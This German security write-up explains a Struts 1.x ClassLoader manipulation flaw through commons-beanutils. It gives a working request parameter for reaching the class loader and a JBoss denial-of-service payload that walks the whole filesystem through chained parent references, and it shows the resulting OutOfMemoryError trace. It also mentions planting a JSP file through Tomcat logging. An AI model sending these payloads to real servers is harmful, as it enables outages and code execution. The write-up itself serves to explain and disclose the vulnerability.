
Parameter in einer POST- oder GET-Request werden als Eigenschaften (Properties) behandelt, die ausgehend vom Formular gesetzt werden sollen. Parameter können ein Pfad zu einem verschachtelten Objekt sein.
Apache Struts 1.x kann manipuliert werden, um getClass() auf Form Beans aufzurufen. Beispielsweise kann man
direkt Attribute des Classloaders des Formulars manipulieren: https://example.com/?class.classLoader.defaultAssertionStatus=true.
Unter der Haube verwendet Apache Struts 1.x commons-beanutils, das in Version 1.8 (und früher)
das Attribut class nicht ausnimmt.
Struts 2 hatte ähnliche Schwachstellen, aber hier konzentrieren wir uns auf Struts 1.x, für das es keine Patches mehr gibt – die letzte Version des Frameworks wurde 2008 veröffentlicht (EOL seit 2013).
Wenn die Anwendung in Tomcat (Catalina) läuft, kann die Protokollierung so manipuliert werden, dass der Angreifer eine JSP-Datei erstellen kann, die anschließend ausgeführt wird, wenn sie vom Server angefordert wird. Die JSP-Datei kann beliebigen Java-Code ausführen – und zwar als der Benutzer, der den Java-Prozess ausführt.
Siehe Julián Vilas Demonstration für Details.
(Getestet mit JBoss EAP 7.1)
Es gibt eine einfache Methode, um einen DOS-Angriff durchzuführen, der im schlimmsten Fall JBoss völlig unerreichbar macht und einen Neustart erfordert. Im besten Fall antwortet JBoss langsam.
Über das class-Attribut kann auf Class#protectionDomain.codeSource.location zugegriffen werden.
In JBoss ist dies ein URL-Objekt mit dem Protokoll vfs.
Für eine URL vom Typ vfs:// hat JBoss einen URLStreamHandler registriert, der ein Objekt vom
Typ org.jboss.vfs.VirtualFile zurückgibt, wenn URL#getContent aufgerufen wird.
class.protectionDomain.codeSource.location.content.pathName zeigt auf das Verzeichnis <SÖKGVÄG>/<applikation>/WEB-INF/classes.
Über parent erhält man ein Objekt für das Verzeichnis eine Ebene höher:
class.protectionDomain.codeSource.location.content.parent.pathName -> <SÖKVÄG>/<applikation>/WEB-INF
Frage: Wie viele parent-Referenzen werden benötigt, um zur Wurzel des Dateisystems zu gelangen?
Frage:
Was passiert, wenn wir class.protectionDomain.codeSource.location.content.parent.parent.[...].childrenRecursively[0].pathName
für das Wurzelverzeichnis des Dateisystems anfordern?
Antwort:
JBoss wird alle Dateien im Dateisystem durchgehen und für jede Datei und jedes Verzeichnis eine org.jboss.vfs.VirtualFile allokieren.
Folgefrage: Was passiert, wenn zwei Requests gleichzeitig alle Dateien im Dateisystem anfordern? Drei Requests? Fünf? Zehn? Hundert?
...
Antwort:
Wenn man lange genug wartet, wird ein Fehler protokolliert
10:09:59,381 ERROR [io.undertow.request] (default task-13) UT005023: Exception handling request to /strutt/Login.do: javax.servlet.ServletException: javax.servlet.ServletException: BeanUtils.populate
at org.apache.struts.chain.ComposableRequestProcessor.process(ComposableRequestProcessor.java:286)
at org.apache.struts.action.ActionServlet.process(ActionServlet.java:1913)
at org.apache.struts.action.ActionServlet.doGet(ActionServlet.java:449)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:687)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:790)
at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:85)
at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:62)
at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36)
at org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:78)
at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:131)
at io.undertow.servlet.handlers.security.ServletAuthenticationCallHandler.handleRequest(ServletAuthenticationCallHandler.java:57)
at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:46)
at io.undertow.servlet.handlers.security.ServletConfidentialityConstraintHandler.handleRequest(ServletConfidentialityConstraintHandler.java:64)
at io.undertow.security.handlers.AuthenticationMechanismsHandler.handleRequest(AuthenticationMechanismsHandler.java:60)
at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:77)
at io.undertow.security.handlers.NotificationReceiverHandler.handleRequest(NotificationReceiverHandler.java:50)
at io.undertow.security.handlers.AbstractSecurityContextAssociationHandler.handleRequest(AbstractSecurityContextAssociationHandler.java:43)
at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
at org.wildfly.extension.undertow.security.jacc.JACCContextIdHandler.handleRequest(JACCContextIdHandler.java:61)
at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
at org.wildfly.extension.undertow.deployment.GlobalRequestControllerHandler.handleRequest(GlobalRequestControllerHandler.java:68)
at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:292)
at io.undertow.servlet.handlers.ServletInitialHandler.access$100(ServletInitialHandler.java:81)
at io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:138)
at io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:135)
at io.undertow.servlet.core.ServletRequestContextThreadSetupAction$1.call(ServletRequestContextThreadSetupAction.java:48)
at io.undertow.servlet.core.ContextClassLoaderSetupAction$1.call(ContextClassLoaderSetupAction.java:43)
at org.wildfly.extension.undertow.security.SecurityContextThreadSetupAction.lambda$create$0(SecurityContextThreadSetupAction.java:105)
at org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1508)
at org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1508)
at org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1508)
at org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1508)
at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:272)
at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:81)
at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:104)
at io.undertow.server.Connectors.executeRootHandler(Connectors.java:326)
at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:812)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:748)
Caused by: javax.servlet.ServletException: BeanUtils.populate
at org.apache.struts.util.RequestUtils.populate(RequestUtils.java:475)
at org.apache.struts.chain.commands.servlet.PopulateActionForm.populate(PopulateActionForm.java:50)
at org.apache.struts.chain.commands.AbstractPopulateActionForm.execute(AbstractPopulateActionForm.java:60)
at org.apache.struts.chain.commands.ActionCommandBase.execute(ActionCommandBase.java:51)
at org.apache.commons.chain.impl.ChainBase.execute(ChainBase.java:191)
at org.apache.commons.chain.generic.LookupCommand.execute(LookupCommand.java:305)
at org.apache.commons.chain.impl.ChainBase.execute(ChainBase.java:191)
at org.apache.struts.chain.ComposableRequestProcessor.process(ComposableRequestProcessor.java:283)
... 42 more
Caused by: java.lang.reflect.InvocationTargetException
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(PropertyUtilsBean.java:2155)
at org.apache.commons.beanutils.PropertyUtilsBean.getIndexedProperty(PropertyUtilsBean.java:504)
at org.apache.commons.beanutils.PropertyUtilsBean.getIndexedProperty(PropertyUtilsBean.java:408)
at org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(PropertyUtilsBean.java:760)
at org.apache.commons.beanutils.PropertyUtilsBean.getProperty(PropertyUtilsBean.java:837)
at org.apache.commons.beanutils.BeanUtilsBean.setProperty(BeanUtilsBean.java:903)
at org.apache.commons.beanutils.BeanUtilsBean.populate(BeanUtilsBean.java:830)
at org.apache.commons.beanutils.BeanUtils.populate(BeanUtils.java:433)
at org.apache.struts.util.RequestUtils.populate(RequestUtils.java:473)
... 49 more
Caused by: java.lang.OutOfMemoryError: GC overhead limit exceeded
at java.lang.AbstractStringBuilder.<init>(AbstractStringBuilder.java:68)
at java.lang.StringBuilder.<init>(StringBuilder.java:101)
at org.jboss.vfs.VirtualFile.getPathName(VirtualFile.java:139)
at org.jboss.vfs.VirtualFile.getPathName(VirtualFile.java:99)
at org.jboss.vfs.spi.RootFileSystem.getFile(RootFileSystem.java:65)
at org.jboss.vfs.spi.RootFileSystem.isDirectory(RootFileSystem.java:107)
at org.jboss.vfs.VirtualFile.isDirectory(VirtualFile.java:291)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:520)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
10:09:59,420 ERROR [stderr] (Periodic Recovery) Exception in thread "Periodic Recovery" java.lang.OutOfMemoryError: GC overhead limit exceeded
Die CPU läuft auf Hochtouren, um die Garbage Collection für ein paar wenige Requests zu bewältigen, und der Java-Prozess schafft kaum noch etwas anderes.
Es hängt auch ein wenig von der Anwendung ab. Kann man einen Codepfad auslösen, der ein Lock erwirbt, kann die Anwendung/das System hängen bleiben.
CVE
Präsentation von Julián Vilas
https://www.youtube.com/watch?v=fpsrusRpP0E
https://www.slideshare.net/testpurposes/deep-inside-the-java-framework-apache-struts
Metasploit